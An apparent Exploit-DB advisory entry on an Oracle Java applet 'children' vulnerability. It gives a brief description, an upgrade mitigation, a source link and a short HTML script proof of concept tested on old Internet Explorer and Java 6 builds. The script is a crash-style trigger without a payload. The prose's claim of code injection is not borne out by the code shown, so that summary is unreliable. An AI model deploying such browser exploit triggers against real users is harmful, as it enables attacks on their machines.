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Oracle Java Applet Children Vulnerability

This vulnerability allows an attacker to inject malicious code into a vulnerable web page. The code is executed when the page is loaded by the victim. The vulnerability is caused by the way the Oracle Java Applet handles the "children" property. An attacker can exploit this vulnerability by creating a malicious applet and embedding it in a vulnerable web page.

Mitigation:

Upgrade to the latest version of Oracle Java.
Source

Exploit-DB raw data:

Source: http://skypher.com/index.php/2010/10/13/issue-18-oracle-java-applet-childre/

<SCRIPT>
  o=document.createElement("applet");
  setTimeout(function () {
    x=o.children;
    location.reload();
  }, 1);
</SCRIPT>

Tested with:
Windows XP sp3 (5.1.2600)
MSIE 7.0.5730.13
MSIE 8.0.6001.18702
Sun Java Version 6 Update 20 1.6.0_20-b02